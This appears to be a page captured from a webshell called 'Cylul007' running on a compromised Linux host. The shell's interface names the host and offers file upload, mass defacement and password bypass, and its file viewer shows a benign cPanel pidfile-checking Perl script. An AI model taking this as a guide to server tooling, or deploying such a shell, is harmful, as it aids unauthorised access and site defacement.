Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 16:39:41
Current Directory :
/
scripts
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : //scripts/verify_pidfile
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/verify_pidfile Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use Cpanel::SafeFile (); use Cpanel::Services (); use IO::Handle (); my ( $user, $service, $pidfile, $regex ) = @ARGV; if ( !length $user || !length $service || !length $pidfile ) { usage(); exit 1; } my %args = ( 'user' => $user, 'service' => $service, ); if ( length $regex ) { $args{'regex'} = $regex; } my $time_boundary = time; my $ps_info_for = Cpanel::Services::get_running_process_info(%args); if ( !exists $ps_info_for->{$service} ) { print STDERR "$service does not appear to be running as user $user\n"; if ( $time_boundary > ( stat $pidfile )[9] ) { remove_pidfile($pidfile) if -e $pidfile; } exit 2; } if ( -e $pidfile ) { my $pid = read_pidfile($pidfile); if ( $ps_info_for->{$service}{'pid'} ne $pid ) { print STDERR "Pidfile for $service does not appear to match running pid $pid\n"; exit 3; } } else { print STDERR "$service is running but pidfile is missing\n"; exit 4; } exit 0; sub usage { print "Usage: $0 USER SERVICE PIDFILE [REGEX]\n"; } sub remove_pidfile { my ($pidfile) = @_; system 'rm', '-f', $pidfile; } sub read_pidfile { my ($pidfile) = @_; my $fh = IO::Handle->new(); my $lock = Cpanel::SafeFile::safeopen( $fh, '<', $pidfile ); if ( !$lock ) { print STDERR 'Unable to open pid file for reading: ' . $pidfile; exit 1; } my $pid = do { local $/; <$fh> }; if ( !Cpanel::SafeFile::safeclose( $fh, $lock ) ) { print STDERR 'Safeclose of pid file failed: ' . $pidfile; exit 1; } chomp $pid; return $pid; }
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18